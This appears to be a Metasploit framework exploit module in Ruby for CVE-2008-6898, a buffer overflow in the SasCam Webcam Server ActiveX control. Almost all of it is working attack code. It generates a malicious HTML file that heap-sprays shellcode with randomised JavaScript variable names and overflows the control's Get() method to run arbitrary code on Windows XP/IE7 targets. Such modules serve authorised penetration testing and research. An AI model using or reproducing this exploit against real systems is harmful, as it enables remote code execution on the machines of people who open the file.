modules/exploits/windows/fileformat/sascam_get.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = LowRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'SasCam Webcam Server v.2.6.5 Get() Method Buffer Overflow',
'Description' => %q{
The SasCam Webcam Server ActiveX control is vulnerable to a buffer overflow.
By passing an overly long argument via the Get method, a remote attacker could
overflow a buffer and execute arbitrary code on the system with the privileges
of the user. This control is not marked safe for scripting, please choose your
attack vector carefully.
},
'License' => MSF_LICENSE,
'Author' => [ 'dean <dean[at]zerodaysolutions.com>' ],
'References' =>
[
[ 'CVE', '2008-6898' ],
[ 'OSVDB', '55945'],
[ 'BID','33053' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'DisablePayloadHandler' => true
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP3 / IE 7', { 'Ret' => 0x0c0c0c0c } ]
],
'DisclosureDate' => '2008-12-29',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.html']),
])
end
def exploit
# Encode the shellcode.
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Set the return.
ret = Rex::Text.uri_encode([target.ret].pack('L'))
# Randomize the javascript variable names.
vname = rand_text_alpha(rand(100) + 1)
var_i = rand_text_alpha(rand(30) + 2)
rand1 = rand_text_alpha(rand(100) + 1)
rand2 = rand_text_alpha(rand(100) + 1)
rand3 = rand_text_alpha(rand(100) + 1)
rand4 = rand_text_alpha(rand(100) + 1)
rand5 = rand_text_alpha(rand(100) + 1)
rand6 = rand_text_alpha(rand(100) + 1)
rand7 = rand_text_alpha(rand(100) + 1)
rand8 = rand_text_alpha(rand(100) + 1)
content = %Q|<html>
<object id='#{vname}' classid='clsid:0297D24A-F425-47EE-9F3B-A459BCE593E3'></object>
<script language="JavaScript">
var #{rand1} = unescape('#{shellcode}');
var #{rand2} = unescape('#{ret}');
var #{rand3} = 20;
var #{rand4} = #{rand3} + #{rand1}.length;
while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
var #{rand5} = #{rand2}.substring(0,#{rand4});
var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
var #{rand7} = new Array();
for (#{var_i} = 0; #{var_i} < 800; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
var #{rand8} = "";
for (#{var_i} = 0; #{var_i} < 8293; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }
#{vname}.Get(#{rand8});
</script>
</html>
|
# create the file
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(content)
end
end